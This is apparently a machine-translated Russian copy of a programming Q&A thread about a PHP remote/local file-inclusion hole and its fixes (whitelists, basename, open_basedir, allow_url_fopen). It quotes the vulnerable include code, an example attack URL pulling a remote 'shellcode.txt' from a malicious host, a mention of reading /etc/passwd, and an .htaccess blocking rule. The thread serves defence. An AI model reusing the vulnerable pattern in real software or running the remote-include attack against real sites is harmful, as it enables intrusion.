Подтвердить что ты не робот

Лучший способ избежать инъекции кода в PHP

Недавно мой сайт подвергся нападению, как мне показалось, невинным кодом:

<?php
  if ( isset( $ _GET['page'] ) ) {
    include( $ _GET['page'] . ".php" );
  } else {
    include("home.php");
  }
?>

Там, где нет вызовов SQL, поэтому я не боялся SQL Injection. Но, судя по всему, SQL - это не единственный вид инъекции.

На этом веб-сайте есть объяснение и несколько примеров предотвращения ввода кода: http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html

Как вы защитите этот код от ввода кода?

4b9b3361

Ответ 1

Используйте белый список и убедитесь, что страница находится в белом списке:

  $whitelist = array('home', 'page');

  if (in_array($_GET['page'], $whitelist)) {
        include($_GET['page'].'.php');
  } else {
        include('home.php');
  }

Ответ 2

Другой способ дезинфекции входных данных - убедиться, что в нем присутствуют только допустимые символы (нет "/", ".", ":",...). Однако не используйте черный список для плохих символов, но белый список для допустимых символов:

$page = preg_replace('[^a-zA-Z0-9]', '', $page);

... затем файл_exists.

Таким образом, вы можете убедиться, что выполняются только сценарии, которые вы хотите выполнить (например, это исключает "blabla.inc.php", потому что "." не разрешено).

Примечание. Это своего рода "взломать", потому что тогда пользователь мог бы выполнить "h.o.m.e", и он дал бы "домашнюю" страницу, потому что все, что она делает, - это удаление всех запрещенных символов. Он не собирался останавливать "умных", которые хотят смириться с вашей страницей, но это остановит людей, делающих действительно плохие вещи.

BTW: Еще одна вещь, которую вы могли бы сделать в .htaccess, чтобы предотвратить очевидные попытки атаки:

RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /–http– [F,NC]
RewriteRule http: /–http– [F,NC]

Таким образом, все обращения к страницам с URL-адресом "http:" (и строкой запроса) приводят к сообщению об ошибке "Запрещено", даже не доходя до php script. Это приводит к меньшей нагрузке на сервер.

Однако имейте в виду, что в строке запроса не допускается "http". Ваш сайт может МОЖЕТЕ потребовать его в некоторых случаях (возможно, при заполнении формы).

BTW: Если вы можете читать немецкий язык: у меня также есть сообщение в блоге по этой теме.

Ответ 3

Правило №1 при принятии ввода пользователя всегда дезинфицирует его. Здесь вы не дезинфицируете свою переменную GET страницы, прежде чем передавать ее в include. Вы должны выполнить базовую проверку, чтобы увидеть, существует ли файл на вашем сервере, прежде чем включать его.

Ответ 4

Пек, есть много вещей, которые могут беспокоиться о добавлении к SQL-инъекции или даже к различным типам инъекций кода. Теперь может быть подходящее время, чтобы немного взглянуть на безопасность веб-приложений в целом.

Из предыдущего вопроса о переходе с рабочего стола на веб-разработку, я написал:

Руководство OWASP по созданию защищенных веб-приложений и веб-сервисов должно быть обязательным для любого веб-разработчика, который хочет серьезно относиться к безопасности (что должен быть всем веб-разработчиками). Существует много принципов, которые следует учитывать, что помощь с мышлением требуется при мысли о безопасности.

Если вы читаете большой толстый документ не для вас, посмотрите на видео семинара, который Майк Эндрюс дал в Google пару лет назад Как разбить веб-программное обеспечение.

Ответ 5

Я предполагаю, что вы имеете дело с файлами в том же каталоге:

<?php
if (isset($_GET['page']) && !empty($_GET['page'])) {
  $page = urldecode($_GET['page']);
  $page = basename($page);
  $file = dirname(__FILE__) . "/{$page}.php";
  if (!file_exists($file)) {
    $file = dirname(__FILE__) . '/home.php';
  }
} else {
  $file = dirname(__FILE__) . '/home.php';
}
include $file;
?>

Это не слишком красиво, но должно исправить вашу проблему.

Ответ 6

pek, для краткосрочного исправить применяйте одно из решений, предложенное другими пользователями. Для среднего и долгосрочного плана вы должны рассмотреть возможность перехода на одну из существующих веб-фреймворков. Они обрабатывают все низкоуровневые вещи, такие как включение маршрутизации и файлов, надежным, безопасным способом, поэтому вы можете сосредоточиться на основных функциях.

Не изобретайте велосипед. Используйте фреймворк. Любой из них лучше, чем ни один. Первоначальное время инвестиций в обучение это почти мгновенно окупается.

Ответ 7

Некоторые хорошие ответы до сих пор, также стоит отметить пару особенностей PHP:

Функции открытия файла используют wrappers для поддержки разных протоколов. Это включает в себя возможность открывать файлы через локальную сеть Windows, HTTP и FTP, среди прочих. Таким образом, в конфигурации по умолчанию код в исходном вопросе может быть легко использован для открытия любого произвольного файла в Интернете и за его пределами; включая, конечно, все файлы на локальных дисках сервера (которые пользователь webbserver может прочитать). /etc/passwd всегда веселый.

Безопасный режим и open_basedir можно использовать для ограничения доступа к файлам за пределами определенного каталога.

Также полезно настроить конфигурацию allow_url_fopen, которая может отключить доступ к файлам в Интернете при использовании открытых функций файла. ini-set можно использовать для установки и отмены этого значения во время выполнения.

Это все хорошие защитные ограждения, но используйте белый список для включения файла.

Ответ 8

Я знаю, что это очень старый пост, и я ожидаю, что вам больше не понадобится ответ, но я все еще пропускаю очень важный аспект imho, и мне нравится, когда он делится для других людей, читающих этот пост. В вашем коде для включения файла на основе значения переменной вы создаете прямую связь между значением поля и запрошенным результатом (страница становится page.php). Я думаю, что лучше избегать этого. Существует различие между запросом на какую-либо страницу и доставкой этой страницы. Если вы сделаете это различие, вы можете использовать хорошие URL-адреса, которые очень удобны для пользователей и SEO. Вместо значения поля, такого как "страница", вы можете сделать такой URL, как "Spinoza-Ethica". Это ключ в белом списке или первичный ключ в таблице из базы данных и возвращает твердокодированное имя файла или значение. У этого метода есть несколько преимуществ помимо обычного белого списка:

  • ответ на задний конец фактически не зависит от запроса на передний конец. Если вы хотите настроить свою заднюю систему по-разному, вам не нужно ничего менять на передней панели.

  • Всегда удостоверяйтесь, что вы закончили с жестко закодированными именами файлов или эквивалентом из базы данных (предпочитаете возвращаемое значение из хранимой процедуры), потому что он просит проблему, когда вы используете информацию из запроса для создания ответ.

  • Поскольку ваши URL-адреса не зависят от доставки с задней стороны, вам никогда не придется переписывать свои URL-адреса в файле htAccess для такого рода изменений.

  • URL-адреса, представленные пользователю, удобны для пользователя, информируя пользователя о содержании документа.

  • Хорошие URL-адреса очень хороши для SEO, потому что поисковые системы находятся в поиске соответствующего контента, и когда ваш URL-адрес соответствует контенту, он получит лучшую ставку. По крайней мере, лучше, чем когда ваш контент определенно не соответствует вашему контенту.

  • Если вы не связываетесь напрямую с файлом php, вы можете перевести красивый URL-адрес в любой другой тип запроса перед его обработкой. Это дает программисту гораздо большую гибкость.

  • Вам нужно будет обработать запрос, потому что вы получите информацию из стандартного ненадежного источника (остальной части Интернета). Использование только хороших URL-адресов в качестве возможного ввода делает процесс очистки URL-адреса намного проще, потому что вы можете проверить, соответствует ли возвращенный URL вашему собственному формату. Убедитесь, что формат nice URL не содержит символов, которые широко используются в эксплоитах (например, ",", "lt;", ",", "amp;" и т.д.).

Ответ 9

@pek - Это не сработает, так как ваши ключи массива - 0 и 1, а не "home" и "page".

Этот код должен сделать трюк, я считаю:

<?php

$whitelist = array(
  'home',
  'page',
);

if(in_array($_GET['page'], $whitelist)) {
  include($_GET['page'] . '.php');
} else {
  include('home.php');
}

?>

Поскольку у вас есть белый список, не должно быть необходимости и для file_exists().

Ответ 10

Подумайте, что URL-адрес указан в этом формате:

www.yourwebsite.com/index.php?page= http://malicodes.com/shellcode.txt

Если shellcode.txt запускает SQL или PHP-инъекцию, ваш сайт будет подвержен риску, правильно? Подумайте об этом, используя белый список.

Существует способ фильтрации всех переменных, чтобы избежать взлома. Вы можете использовать PHP IDS или OSE Security Suite, чтобы избежать взлома. После установки пакета безопасности вам необходимо активировать пакет, вот руководство:

http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html

Я предлагаю вам включить защиту уровня 2, тогда все переменные POST и GET будут отфильтрованы, особенно тот, который я упомянул, и если обнаружены атаки, он немедленно сообщит вам /

Безопасность всегда является приоритетом